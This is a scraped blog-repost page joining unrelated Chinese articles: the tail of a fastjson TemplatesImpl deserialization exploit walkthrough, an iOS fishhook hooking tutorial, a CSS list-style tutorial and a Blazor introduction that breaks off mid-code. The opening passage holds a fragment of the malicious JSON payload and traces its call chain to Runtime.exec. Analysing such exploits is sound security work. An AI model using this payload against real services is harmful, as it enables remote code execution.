AAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

 在此下斷點,運行poc.java

此時首先調用com/alibaba/fastjson/JSON.java的parseObject函數來處理我們傳入的payload

 此時判斷我們傳入的features是否為null,這裏

我們已經制定了支持非publicfield屬性,因為使用的_bytescode實際為非public的,否則無法反序列化,接着調用defaultJsonParser來進一步處理payload

 此時進一步調用javaObjectDeserializer,也就是反序列化時所使用的反序列化引擎,繼續跟進

 此時在javaObjectDeserializer的deserialze函數中將判斷type的類型是不是泛型數組類型的實例以及判斷type是不是類類型的實例,這裏兩處不滿足,所以調用parse.parse來解析

實際上此時又回到了

並且在此調用parseObject函數來處理我們的payload

接下來一部分就是語法解析,先匹配出了其中的雙引號”,

 比如先在parseObject函數中匹配出了@type

 匹配出@type標誌以後,將會繼續向後掃描json字符串,即取匹配相應的值,這個值也就是我們想要反序列化的類

 繼續往下走,將調用deserializer.deserialze函數來處理反序列化數據,此時deserializer中已經包含了要實例化的templatesimpl類,

跟進此函數,則可以看到此時token為16並且text為我們的payload

 接下來會調用parseField函數來對json字符串中的一些key值進行匹配

 這個方法裏面會調用smartmatch來對key值進行一些處理,比如將_bytecodes的下劃線刪除

 當處理到_outputProperties字段時,步入其smartMatch方法

 此時在FieldDeserializer中將會調用setValue方,此時將會在其中調用getOutputProperties()方法,因為存在OutputProperties屬性

 

 此時在TemplatesImpl類的getOutputProperties函數中將會調用newTransformer().getOutputProperties函數,在newTransformer函數中又調用了getTransletInstance()函數,

 

 這裏首先判斷_name字段不能為空,這也是為啥payload裏面會設置一個_name字段

 接下來就會調用newInstance()函數來實例化對象了,可以看到此事要求實例化的對象時AbstractTranslet類的,那麼只需要讓我們的payload中的類繼承自該類即可, 

可以看到此時_transletIndex為零,因此此時實例化的就是我們構造的惡意類,

 

縮減后的整個調用鏈即為:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

參考:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

Hook原理–逆向開發

今天我們將繼續講解逆向開發工程另一個重要內容–Hook原理講解。Hook,可以中文譯為“掛鈎”或者“鈎子”,逆向開發中改變程序運行的一種技術。按照如下過程進行講解

  1. Hook概述
  2. Hook技術方式
  3. fishhook原理及實例
  4. 符號表查看函數名稱
  5. 總結

一、Hook概述

在逆向開發中是指改變程序運行流程的技術,通過Hook可以讓自己的代碼運行在別人的程序中。需要了解其Hook原理,這樣就能夠對惡意代碼攻擊進行有效的防護。

 

二、Hook技術方式

2.1 Method Swizzle方式

Method Swizzle 上次已經講到,是利用OC的Runtime的特性,去動態改變SEL(方法編號)與IMP(方法實現)的對應關係,達到OC方法調用流程更改的目的。也是主要用於OC方法。

2.2 Cydia Substrate方式

Cydia Substrate 原名叫做Mobile SubStrate,主要作用為針對C函數,OC函數以及函數的地址進行Hook操作。並且有個很大的優勢,Cydia Substrate 並不是僅僅是針對iOS設計,Andriod一樣也可以使用。

2.2.1

Cydia Substrate定義了一系列的函數和宏,底層調用了objc的runtime和fishHook來替代目標函數或者系統方法。

其中有兩個函數

  • MSHookMessageEx主要用於OC方法
void MSHookMessageEx(Class class, SEL selector, IMP replacement, IMP result)
  • MSHookFunction主要用於C++和C函數
void MSHookFunction(voidfunction,void* replacement,void** p_original)

2.2.2 MobileLoader

MobileLoader主要用於加載第三方dylib運行的應用程序中。啟動時MobileLoader會根據指定的第三方動態庫加載進去,第三方動態庫也是我們寫的破解程序。

2.2.3 safe mode

破解程序的本質在於dylib,寄生於別人程序進程中。但是系統進程一旦出現錯誤,可能會導致整個進程崩潰,也可能會導致iOS程序崩潰。在Cydia Substrate 中引入了安全模式,如果一旦錯誤,三方的dylib會被禁用,便於查錯和修復。

2.3 fishHook

fishHook是Facebook提供一種動態修改鏈接Mach-O文件的工具。此利用Mach-O文件加載原理,通過修改非懶加載和懶加載兩個表的指針達到C函數的Hook的目的。

今天我們主要講解第三種方式fishHook達到更改程序的目的。

 

三、fishhook原理及實例

3.1 概述

fishhook的源碼地址為

fishhook的主要方法有兩個還有一個結構體

查看代碼結構為,將紅色圈起來部分移入到代碼中,即可使用fishhook來hook代碼。

 

 3.2 實例

3.2.1 Demo1實例1

// rebinding 結構體的定義 // struct rebinding { // const char *name; // 需要 HOOK 的函數名稱,字符串 // void *replacement; // 替換的新函數(函數指針,也就是函數名稱) // void **replaced; // 保存原始函數指針變量/地址的指針(它是一個二級指針!) // }; // C 語言傳參是值/址傳遞的,把它的值/址穿過去,就可以在函數內部修改函數指針變量的值

- (void)viewDidLoad {
    [super viewDidLoad];
     NSLog(@"123"); //rebinding結構體
    struct rebinding nslog;
    nslog.name = "NSLog";// 函數名稱
    nslog.replacement = myNslog; // 新的函數指針
    nslog.replaced = (void *)&sys_nslog;// 保存原始函數地址的變量的指針
    //rebinding結構體數組
    struct rebinding rebs[1] = {nslog};
    /**
     * 存放rebinding結構體的數組
     * 數組的長度
     */
    rebind_symbols(rebs, 1);
}
//---------------------------------更改NSLog-----------
//函數指針,用來保存原始的函數地址 (C 語言語法,函數指針類型變量)
static void(*sys_nslog)(NSString * format,...);
//定義一個新的函數
void myNslog(NSString * format,...){
    format = [format stringByAppendingString:@"勾上了!\n"];
    //調用原始的
    sys_nslog(format);
}

-(void)touchesBegan:(NSSet<UITouch *> *)touches withEvent:(UIEvent *)event
{
    NSLog(@"點擊了屏幕!!");
}

上面的代碼運行結果如下:

3.2.2 Demo2實例2

void func(const char * str){
    NSLog(@"%s",str);
}

- (void)viewDidLoad {
    [super viewDidLoad];
    //rebinding結構體
    struct rebinding nslog;
    nslog.name = "func";
    nslog.replacement = new_func;
    nslog.replaced = (void *)&old_func;
    //rebinding結構體數組
    struct rebinding rebs[1] = {nslog};
    /**
     * 存放rebinding結構體的數組
     * 數組的長度
     */
    rebind_symbols(rebs, 1);
}
//---------------------------------更改NSLog-----------
//函數指針
static void(*old_func)(const char * str);
//定義一個新的函數
void new_func(const char * str){
      NSLog(@"%s + 1",str);
}

-(void)touchesBegan:(NSSet<UITouch *> *)touches withEvent:(UIEvent *)event
{
    func("哈哈");
}

運行結果如下:

從上面可以看出自定義的交換方法為什麼交換不了呢?首先可以肯定的是代碼是OK的,下面我們講解原理,為什麼自定義的方法不行呢?

 

 3.3 原理探究

Mach-O文件是如何加載的?

Dyld工具動態加載,加載MachO文件完成后,開始加載依賴的動態庫,也就是通過上篇博客的image List 可看到相關的類庫。

PIC(Promrammable Interrupt Controller)位置代碼獨立,由外設發出中斷請求需要中斷控制器來處理。

Mach-O文件內部調用系統函數時:

  • Mach-O _data段建立了一個指針(也就是符號,實現指向內部的函數調用,指向了外部的函數地址),指向了外部函數(dyld),可讀可寫,當Mach-O被加載進去,就會指向所指的函數。
  • Dyld會動態的綁定,將Mach-O中的data 段中指針指向了外部的函數,也是Dyld為什麼叫做動態綁定的原因。

這也回答了上面的問題,為什麼內部/自定義的函數不能修改,只能修改Mach-O文件的外部函數,如果是另外一個動態庫或者需要動態符號綁定的就可以(符號表中能找到才可以實現)

 

下面我們是真實查看內容,通過實例

利用第一個Demo來測試,運行起來,然後查看可執行文件,通過MachoView工具

 

從圖2看出offset偏移地址為3028,也就是NSLog函數文件的偏移地址,懶加載此表時在Mach-O文件偏移地址+函數偏移的地址。

下面以Demo1查看,在Demo1打斷點,查看Mach-O函數偏移地址,通過指令image list 第一個就是Mach-O內容和地址(本人上篇博客地址即可)

Mach-O在內存的偏移地址也就是Mach-O的真實地址,發現為 0x000000010a9c5000

通過上面紅色加重算法,計算Mach-O文件Data段的函數指針

發現執行完只有就會被綁定。NSLog函數文件就會被綁定。

下面再看一下,對於屏幕點擊的,hook如下

前提是我們去除ViewDidLoad方法裏面的NSLog(@“123”)這句代碼,運行代碼,最後將斷點斷在touchesBegan裏面,此時開始看地址和內容

截圖的前兩次打印是程序運行時,但是未曾點擊touchesBegan,后兩次是點擊屏幕時斷點進入到了裏面,再看內容,打印的對象是NSLog還是myNslog,通過上面發現是myNslog,說明Hook成功。

通過上面可看出,fishhook能夠Hook c函數,是因為Mach-O文件特點,PIC位置代碼獨立造就了靜態語言C也有動態的部分,之後通過Dyld進行動態綁定的時機,在這其中我們就可以做手腳,替換自定義的方法。

fishhook是根據方法字符串的名字“NSLog”,它是怎麼找到的呢?下面將講解利用符號表查看函數名稱字符串。

 

四、符號表查看函數名稱

 再次查看Mach-O文件,查看懶加載表中的NSLog函數

懶加載表是和動態符號表是一一對應關係,通過上面發現NSLog函數時第一個,而對應的Dynamic Symbol table也是第一個,打開Dynamic Symbol table

查看Dynamic Symbol Table 第一個也是NSLog,查看Data值為7A,對應的十進製為122,然後到Symbols Table裏面查看122,如下:

 

查看Symbols Table的data值為0000009B,然後在String Table Index去看函數偏移值為0000009B的內容,如下:

 

 為什麼選擇00004F94查看NSLog呢,我們從上面得知Symbols Table的data值為0000009B,然後加上String Table的函數第一個地址為00004F04,然後將0000009B + 00004F04 = 0X4F9F,最後看00004F94裡面包含了0X4F9F,藍色內容看出是NSLog內容,也就是找到啦。完美!!!

以上過程可以在fishhook中github上有說明圖:

 

上面的說明圖也就是通過符號表查看函數名稱以及反過來也可以逆查的過程。配上說明圖,方便大家熟悉流程。

 

五、總結

上面講述了Hook的幾種技術方式以及fishhook的原理探究,以及如何讓別人的app實現自己的代碼。下面我們對此總結一下,寫了一個本篇博客的整個過程便於大家整理,希望對大家有所幫助加深理解。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

CSS如何設置列表樣式屬性,看這篇文章就夠用了

列表樣式屬性

  • HTML中有2種列表、無序列表和有序列表,在工作中無序列表比較常用,無序列表就是ul標籤和li標籤組合成的稱之為無序列表,那什麼是有序列表呢?就是ol標籤和li標籤組合成的稱之為有序列表,列表的基礎知識就簡單說明下,本章內容主要說明的是如何給列表設置樣式,若有不懂列表是什麼的園友筆者建議去進行學習。
  • 列表樣式常用的屬性有4種如:list-style-typelist-style-positionlist-style-imagelist-style,在這裏就是簡單說明下列表常用的屬性名稱而已,具體使用或每一個屬性值的介紹,在下面會具體的說明,愛學習的園友不用擔心哦。

list-style-type屬性

  • list-style-type屬性作用:就是設置列表前面項目符號的類型。
  • list-style-type屬性值說明表。
屬性值 描述
none 將列表前面項目符號去除掉。
disc 將列表前面項目符號設置為實心圓。
circle 將列表前面項目符號設置為空心圓。
square 將列表前面項目符號設置為實心小方塊。

屬性值為none使用方式

  • 讓我們進入列表的list-style-type屬性值為none實踐,實踐內容如:使用class屬性值為.box將列表前面項目符號去除掉。
  • 我們在實踐列表的list-style-type屬性值為none之前看看列表前面項目符號是什麼,讓初學者有一個直觀的印象。

  • 代碼塊

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>列表的list-style-type屬性值為none實踐</title>
</head>
  
<body>
    <ul>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
    </ul>
</body>
</html>
  • 結果圖

  • 現在愛學習的園友們知道了什麼是列表前面的項目符號了,那我們就進入列表的list-style-type屬性值為none實踐咯。

  • 代碼塊

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>列表的list-style-type屬性值為none實踐</title>
    <style>
        .box{
            list-style-type: none;
        }
    </style>
</head>
  
<body>
    <ul class="box">
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
    </ul>
</body>
</html>
  • 結果圖

  • 既然能看到這裏說明園友已經掌握了,列表的list-style-type屬性值為none使用,恭喜恭喜恭喜。

屬性值為disc使用方式

  • 在這裏說明下列表的list-style-type屬性值為disc,列表的list-style-type屬性值默認就是disc,如果是細心的園友已經發現了,上面有現成的列子在這裏就不過多的介紹了,這個屬性值為disc就跳過了哈。

屬性值為circle使用方式

  • 讓我們進入列表的list-style-type屬性值為circle實踐,實踐內容如:將列表前面的項目符號設置為空心圓。
  • 代碼塊

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>列表的list-style-type屬性值為circle實踐</title>
    <style>
        .box{
            list-style-type: circle;
        }
    </style>
</head>
  
<body>
    <ul class="box">
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
    </ul>
</body>
</html>
  • 結果圖

屬性值為square使用方式

  • 讓我們進入列表的list-style-type屬性值為square實踐,實踐內容如:將列表前面項目符號設置為實心方塊。
  • 代碼塊

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>列表的list-style-type屬性值為square實踐</title>
    <style>
        .box{
            list-style-type: square;
        }
    </style>
</head>
  
<body>
    <ul class="box">
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
    </ul>
</body>
</html>
  • 結果圖

list-style-position屬性

  • list-style-position屬性作用:設置列表前面項目符號的位置,list-style-position屬性有2個屬性值,分別是outsideinside,具體說明看下面的屬性值說明表。

list-style-position屬性值說明表

屬性值 描述
outside 將列表前面項目符號設置在外面。
inside 將列表前面項目符號設置在裏面。

屬性值為outside使用方式

  • 在實踐list-style-position屬性值為outside之前,我們先看看列表前面的項目符號的默認位置在哪,筆者為了讓初學者有一個直觀的印象,筆者將HTML頁面中的ul標籤li標籤設置了一些樣式。
  • ul標籤樣式如::width寬度設置為300px像素、height高度為150px像素、border邊框為(1px像素、显示是實線、邊框顏色為藍色)、樣式。
  • ul標籤中的li標籤設置樣式如:width寬度設置為280px像素、height高度為30px像素line-height行高為30px像素、border邊框為(1px像素、显示是實線、邊框顏色為紅色)、樣式。
  • 如果園友沒有掌握border邊框的知識,愛學習的園友不用擔心以後會寫border邊框的文章,若有想了解border邊框知識的園友可以去進行學習。

  • 代碼塊

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>屬性值為outside使用方式</title>
    <style>
        ul {
            width: 300px;
            height: 150px;
            border: 1px solid #00F;
        }
         ul li {
          
            width: 280px;
            height: 30px;
            line-height: 30px;
            border: 1px solid red;
        }
 
    </style>
</head>
  
<body>
    <ul>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
    </ul>
   
</body>
</html>
  • 結果圖

  • 現在大家應該很清楚的看到了列表前面項目的符號默認在ul標籤和li標籤之間的位置,現在我們知道了列表前面的項目符號的默認位置,那我們進行list-style-position屬性值為outside實踐了,實踐內容:將HTML頁面中的列表前面的項目符號設置為外面。
  • 代碼塊

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>屬性值為outside使用方式</title>
    <style>
        ul {
            width: 300px;
            height: 150px;
            border: 1px solid #00F;
        }
         ul li {
          
            width: 280px;
            height: 30px;
            line-height: 30px;
            border: 1px solid red;
            list-style-position: outside;
        }
 
    </style>
</head>
  
<body>
    <ul>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
    </ul>
   
</body>
</html>
  • 結果圖

  • 注意:為什麼給列表設置了list-style-position屬性值為outside,運行結果沒有發生任何變化呢,因為列表前面的項目符號默認就在外面的位置,列表前面的項目符號外面的位置就是ul標籤和li標籤之間的位置。

屬性值為inside使用方式

  • 通過介紹list-style-position屬性值為outside,大家已經知道了列表前面項目符號外邊的位置了,接下來我們將列表前面項目符號設置在裏面咯。
  • 讓我們進入list-style-position屬性值為inside實踐,將列表前面項目符號位置設置在裏面。
  • 代碼塊

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>屬性值為inside使用方式</title>
    <style>
        ul {
            width: 300px;
            height: 150px;
            border: 1px solid #00F;
        }
         ul li {
          
            width: 280px;
            height: 30px;
            line-height: 30px;
            border: 1px solid red;
            list-style-position: inside;
        }
 
    </style>
</head>
  
<body>
    <ul>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
    </ul>
   
</body>
</html>
  • 結果圖

  • 注意:list-style-position屬性值為inside作用就是將列表前面項目符號位置設置在li標籤中,這就是裏面的位置。

list-style-image屬性

  • list-style-image屬性作用:將列表前面項目符號設置為一張圖片。

list-style-image屬性說明表

屬性值名稱 描述
url 設置列表前面項目符號的圖片的路徑
  • 讓我們進入list-style-image屬性的實踐,實踐內容將列表前面項目符號更換一張圖片。

  • 代碼塊

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>使用list-style-image屬性方式</title>
    <style>
        ul {
            width: 300px;
            height: 150px;
            border: 1px solid #00F;
        }
         ul li {
          
            width: 280px;
            height: 30px;
            line-height: 30px;
            border: 1px solid red;
            list-style-image: url(./img/001.png);
        }
 
    </style>
</head>
  
<body>
    <ul>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
    </ul>
   
</body>
</html>
  • 結果圖

  • 注意:圖片路徑一定要寫在url(./img/001.png);括號當中,不然不會被渲染的,圖片路徑可以是相對路徑也可以絕對路徑。

list-style屬性

  • list-style屬性是(list-style-type屬性、list-style-position屬性、list-style-image屬性)的一個簡寫屬性,它集成了(list-style-type屬性、list-style-position屬性、list-style-image屬性)的功能。
  • 讓我們進入 list-style屬性實踐,既然看到了這裏想必園友都已經掌握了本章的內容了。
  • 代碼塊

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>使用list-style屬性方式</title>
    <style>
        ul {
            width: 300px;
            height: 150px;
            border: 1px solid #00F;
        }
         ul li {
          
            width: 290px;
            height: 30px;
            line-height: 30px;
            border: 1px solid red;
            list-style: none inside  url(./img/001.png) ;
        }
 
    </style>
</head>
  
<body>
    <ul>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
        <li>成功不是打敗別人,而是改變自己。</li>
    </ul>
   
</body>
</html>
  • 結果圖

  • 注意:list-style屬性值可以也1個或23個,順序沒有要求,若有不明白的園友可以做個實例看看就明白了,學習就要多嘗試不要偷懶呦。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

.NET開發者的機遇與Web Blazor基礎(有彩蛋),.NET Core 又一殺器! Web Blazor框架橫空出世!

 一.嘮嘮WebAssembly的發展歷程

  目前有很多支持WebAssembly的項目,但發展最快的是Blazor,這是一個構建單頁面的.NET技術,目前已經從Preview版本升級到了beta版本,微軟計劃在2020年5月發布Blazor的第一個版本。

  Blazor是什麼?它是一項將C#和.NET都放入瀏覽器的Microsoft技術。它使用WebAssembly來工作,WebAssembly是一種高性能的管道,可以將代碼預編譯為緊湊的二進制格式。最重要的是,每個主流瀏覽器(包括移動版本)都支持WebAssembly。

  十年前,JavaScript統治世界還不是很明顯。Flash和Silverlight也正在運行。這二個都需要使用瀏覽器插件來完成工作,並且都以不同的用戶界面方法替換了HTML。這種方法使他們在功能方面遙遙領先於JavaScript,但隨着移動互聯網的出現,他們就慢慢過時。

  但隨後從最初的Javascript再到微軟的JScript和CEnvi的ScriptEase三足鼎立,再到最後的統一標準,當時微軟憑藉Windows系統捆綁Internet Explorer的先天優勢擊潰Netscape后,兩大巨頭就此進入了長達數年的靜默期,JavaScript就是在這樣的情況下被構想出來的,當時的瀏覽器之王,Netscape Navigator創始人Marc Andreessen認為Netscape需要一種“glue language”來支持HTML,讓Web設計師和兼職程序員可以很容易地使用它來組裝諸如圖像和插件之類的組件,且代碼是可以直接寫在網頁標記中。除此之外微軟的步步緊逼也迫使Andreessen不得不聘請Brendan Eich,及早將Scheme編程語言嵌入到Netscape Navigator中。1995年,JavaScript以Mocha為名開發,並於9月在Netscape Navigator 2.0的測試版中首次發布,當時被稱為LiveScript,12月,在Netscape Navigator 2.0 beta 3中部署時被重命名為JavaScript 。雖然Netscape Navigator在Chrome、Internet Explorer和Firefox等多款瀏覽器的圍追堵截中最終落敗,但是JavaScript卻推動了網頁的發展,並一直被沿用至今。

  這是一個諷刺。在JavaScript征服世界的同時,播下了一顆很小的種子,這可能會在將來的某個時候暗示JavaScript的終結。那顆種子是名為asm.js的實驗技術。

  這是Mozilla的開發人員在2013年完成的一個古怪的實驗。他們正在尋找在瀏覽器中運行高性能代碼的方法。但是與插件不同,asm.js並未嘗試在瀏覽器旁邊運行。相反,它的目的是直接通過Javascript的虛擬化。

  從本質上講,asm.js是簡潔,優化的JavaScript語法。它比普通的JavaScript運行得更快,因為它避免了該語言的慢動態部分。但是認識到它的網絡瀏覽器也可以應用其他優化,從而大大提高性能。換句話說,asm.js遵循黃金法則- 不要破壞網絡 -同時提供通往未來改進的途徑。Firefox團隊使用asm.js以及名為的轉碼工具來獲取用C ++構建的實時3D遊戲,並將其放入Web瀏覽器中,並且僅在JavaScript和原始野心上運行。

  有人問為什麼asm.js好在哪裡,簡單而言,它的性能比JavaScript高几百倍,當然是在沒有谷歌的V8引擎之下,因為JavaScript是弱類型語言,它需要猜測你的數據類型來進行編譯,這樣的情況下,在我看來它肯定需要遍歷完一個方法,然後再進行運算,與其這樣我為什麼不打個標識呢?當然在不破壞JavaScript的情況下,arm.js選擇了一個騷氣的想法,如果你想你的數據類型是int,那麼聲明一個值就變成了變量名|0,就這樣它的目的就達到了。

  儘管asm.js實驗產生了一些令人眼花撩亂的演示,但工作的開發人員基本上忽略了它。對他們來說,這隻是超越現代的一個有趣方面。但這隨着WebAssembly的創建而改變。

  WebAssembly既是asm.js的後繼產品,又是一項截然不同的技術。這是一種緊湊的二進制代碼格式。像asm.js一樣,WebAssembly代碼也被輸入到JavaScript執行環境中。它具有相同的沙箱和相同的運行時環境。與asm.js一樣,WebAssembly的編譯方式也可以提高效率。但是現在,這些效率比有以前更加明顯,並且瀏覽器可以完全跳過JavaScript解析階段。對於普通的邏輯,WebAssembly遠比常規JavaScript快,幾乎與本機編譯的代碼一樣快。

   WebAssembly於2015年首次出現。如今,桌面和移動設備上的四大瀏覽器(Chrome,Edge,Safari和Firefox)已完全支持它。儘管可以通過將WebAssembly代碼轉換為asm.js來實現向後兼容,但Internet Explorer不支持它。就讓IE涼透吧!但需要注意的是WebAssembly無法迴避JavaScript,因為它已鎖定在JavaScript運行時環境中。實際上,WebAssembly需要與至少一些普通的JavaScript代碼一起運行,因為它不能直接訪問頁面。這意味着如果不通過JavaScript層,就無法操縱DOM或接收事件。

   聽我說起來,這是一個限制,但聰明的微軟開發者已經找到了走私的方法,在瀏覽器中下載一個微型.NET運行時,作為已編譯的WASM文件。此運行時處理JavaScript互操作,並提供基本服務,它能給我們提供GC或者其它用法。Blazor不是唯一一個由WebAssembly支持的實驗。考慮一下,它旨在將Python放入瀏覽器中,並帶有用於數據分析的高級數學工具包。據我所知這應該使用emscripten的編譯器。

   人們常說,何時Javascript能夠替代服務器端語言,又有人說什麼時候可以代替桌面級應用程序,所以WebAssembly並不是用來代替JavaScript的。而是為了解決現代問題,如果它做到了,那就真的做到了!所以作為一個程序員,你應該對WebAssembly引起足夠的重視,未來快速加載Web應用程序的需求肯定會增加。

   就現在我們的.NET Core提供了兩種Blazor模板,包括Blazor Server 以及 Blazor WebAssembly。

  • Blazor Server使用熟悉的.NET環境在Web服務器上運行代碼。訣竅是瀏覽器和服務器之間的通信方式。當用戶與頁面進行交互時,JavaScript代碼將回調到發生實際頁面生命周期的服務器。(要建立此連接,該頁面使用名為的Microsoft API )運行服務器端代碼后,Blazor Server呈現該頁面並將更改發送回Web頁面,該Web頁面將相應地進行更新。
  • Blazor WebAssembly使用由WebAssembly提供支持的微型.NET運行時在瀏覽器中運行代碼。您的客戶端代碼可以訪問許多熟悉的.NET庫,並且您使用C#語言編寫它,您仍然可以像在JavaScript頁面中一樣在Web服務器上調用API。

  Blazor Server是一種具有一些有趣用例的技術,但是由於不斷的通信,您顯然會犧牲一些性能-甚至不用問脫機功能。Blazor WebAssembly是受到最多宣傳的一種,也是我們在本文中探討的一種。

  關於Blazor,程序員最常見的誤解是將其C#代碼編譯為WebAssembly,然後發送到瀏覽器,然後執行。這種方法並非不可能-Blazor的創建者暗示他們將來可能會嘗試這種技術。但是如今Blazor的工作方式並不是如此。

  換句話說,如今的Blazor是當您訪問使用Blazor的網頁時,該頁面將從下載按比例縮小的.NET運行時開始。然後它將下載您的應用程序以及您的應用程序使用的任何其他.NET庫,所有這些都在其本機IL中。最後,Blazor運行時執行IL。

二.配置您的開發環境

   由於Blazor是一個預發布的早期Beta產品。基礎結構的關鍵部分正在發生變化,您將無法獲得與其他類型的Microsoft項目相同級別的工具支持。我嘗試在Visual Studio 2019中進行編碼,需要注意的是您需要勾選.NET FrameWork 4.8 以及 .NET Core 3.0 + ,這樣您才具有Web Assembly的項目。完成設置后,您可以輕鬆創建Blazor項目。只需啟動Visual Studio,創建一個新項目,然後選擇“ Blazor App”項目即可。Visual Studio會詢問您是否需要Blazor Server應用程序或Blazor WebAssembly應用程序.

 三.Blazor的數據綁定與組件傳值

  由於關於Blazor的一篇我編寫的文章,未能提及更深入的內容,那麼現在我將要介紹一下高級的Blazor用法,到最後還會有一個糖果,園友力作的Blazor UI!多麼激動人心的時刻,那麼趕快開始吧.

3.1 Child Component

  在Blazor的Child Component中可以使用[Parameter] 關鍵字,來進行傳值的定義,我們可以這麼來做,現在只是提一下這個概念,下面會仔細說下組件之間如何進行跨組件綁定值。

<div>
    <p>標題:@title</p>
</div>
@code{
    [Parameter]
    public string title { get; set; }
}

隨後在調用時,Visual Studio IDE 就可以直接向您的視覺進行提示輸入相關屬性。

<Demorazor title="Hello 博客園的兄弟們!"></Demorazor>

運行效果如下:

3.2 single Bind and Two-way binding

single bind就不用說了,新建項目自帶的模板Counter示例那就是如此。

@page "/counter"

<h1>Counter</h1>

<p>Current count: @currentCount</p>

<button class="btn btn-primary" @onclick="IncrementCount">Click me</button>

@code {
    private int currentCount = 0;

    private void IncrementCount()
    {
        currentCount++;
    }
}

此處 @currentCount 值根據點擊按鈕的數量遞增Click me。<p>標記元素中的值會自動刷新,無需任何組件刷新。

two-way binding 我們可以自定義我們的事件 一共分為二中綁定方式 包括@bind 和 @Bind-Value,值得一提的是還可以通過使用event參數指定@bind-value屬性, 使用其他事件來綁定屬性或字段。例如第四個文本框就是綁定changeString採用oninput事件的屬性,以到達在文本框的值更改時激發,經過我的測試如果你的綁定事件是Javascript中不存在的,那麼也無妨,不會報出系統級別的異常,我想如果是從IL轉換到WebAssembly中,就會直接過濾掉,但是Visual Studio 2019 沒有給我們提示,也讓我們編譯通過,即使是當前的最高16.0.4 預覽版也是如此,這個是令我詫異的。

<p>
    <span>在這裏可以使用bind-value 或者 bind 當然這裏確保您不使用其它事件!</span>
    <input @bind-value="changeString" />
    <p>這是我輸入的內容: @changeString</p>
</p>
<p>
    <span>oninput</span>
    <input @bind-value="changeString" @bind-value:event="oninput" />
</p>

@code {
    string changeString = "";
}  

運行效果如下:

 3.3 Component bindings

   想要跨組件進行綁定屬性值,可以使用,@bind-{property}可在其中跨組件綁定屬性值,我們試着嘗試,首先我們創建一個子控件,這個blazor就叫Baby,有一個身份證Id的屬性和出生地址。

   EventCallback的用法非常廣泛,它可以跨組件共享方法和屬性,如不寫下面的兩個屬性,則就會報錯。

@page "/baby"
<h2>Child Compoent</h2>
<p>出生的Baby IdentityCard:@Baby_IdentityCrad_Id</p>
